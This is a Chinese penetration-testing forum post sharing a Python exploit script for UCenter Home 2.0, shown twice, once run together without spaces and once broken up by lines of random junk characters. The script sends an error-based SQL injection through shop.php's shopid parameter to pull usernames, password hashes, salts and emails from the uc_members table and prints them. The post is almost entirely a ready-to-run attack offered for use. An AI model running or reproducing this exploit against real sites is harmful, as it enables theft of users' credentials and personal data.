中国网络渗透测试联盟
标题:
UCenter Home 2.0 EXP
[打印本页]
作者:
admin
时间:
2013-1-23 09:18
标题:
UCenter Home 2.0 EXP
#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:
http://www.exploit-db.com/exploits/14997/'
print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl
0 g/ K a. X$ r0 v9 w, o
! Q( m0 j( l n9 P
|4 z) S& H0 o8 O" d
#!/usr/bin/env python
" a7 Y0 n x- H0 C
$ i7 D, s6 I3 Y/ e; y) e" R
import sys
7 G# u8 i' d* h# [7 A% V9 Y6 N& t, m
import urllib2
0 ^7 t/ M; ?* q5 w: \& D+ _( c! A( a8 O
import re
9 i: _5 t( ~2 S- r+ j- j
8 T" X/ g4 a2 j- n
def info():
/ j0 W8 b" q" @( h" t: [
print 'From:
http://www.exploit-db.com/exploits/14997/'
- _/ f8 g/ _) V0 p
print 'http://www.hake.cc/Web_loudong/'
% E9 m6 |" r4 T
print 'changed:qiaoy'
- t% J& K: u4 E) ], ?3 |
print 'exp:'
+ W$ o5 Y2 j2 { g3 g) N
print ' ./UCenter_Home_2.0.py site'
8 B& g' f! l5 b0 z; t
$ R, \, D9 d+ E, \
def main():
% L3 Q) |' t. h/ O1 L8 k
if len(sys.argv) != 2:
4 S% t0 \! _# m+ {. ~
info()
6 y( T8 F+ N6 ]& B2 ^% ?) `! f
else:
" u* @7 J d# _9 Q9 i q/ J: }8 y8 o7 x
site = sys.argv[1]
7 X6 _4 q7 }3 z9 M% L
if site[0:7] == 'http://':
) H# C: ~& k4 n" q$ d
sitesite =site
% E' [) C1 f# J2 }" j
elif site[0:8] == 'https://':
8 D/ M- l7 `9 O7 z2 O! E
sitesite = site
: I1 w0 f4 H. t
else:
k, |, t, u! ^1 P$ ?' N
site = 'http://'+site
* V+ s# }, n1 M( }0 J" Z9 d
try:
/ ~7 d. G; b( z. w
url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'
- ~, d1 }6 V, r* R/ r v, {0 Y$ o2 q
Value = urllib2.urlopen(url).read()
9 A+ Q' l# [, F7 H) F. Z" {
Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]
9 }. j4 l A% Q @0 {; n
hacked = Msg.split(':')
" S1 {! K- s1 P b" ]! R, K
print 'Name: '+hacked[1]
( c+ r3 F) R2 _* W8 L* u
print 'Passwd: '+hacked[2]
+ F9 U/ t( F" F* y! u2 U8 s0 a
print 'salt: '+hacked[3]
) Z, S" H; j! H2 c/ ~$ N3 P4 g! s
print 'email: '+hacked[4]
9 T& x* d" h/ U. t" G+ o
except:
: ^5 K" L7 G9 K
print 'Sorry,I can\'t work............'
3 o, V% n% b, W; Y+ O
: A) \ }8 g" [; H
if __name__ == '__main__':
0 `3 d2 G+ R1 E" Z
main()
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2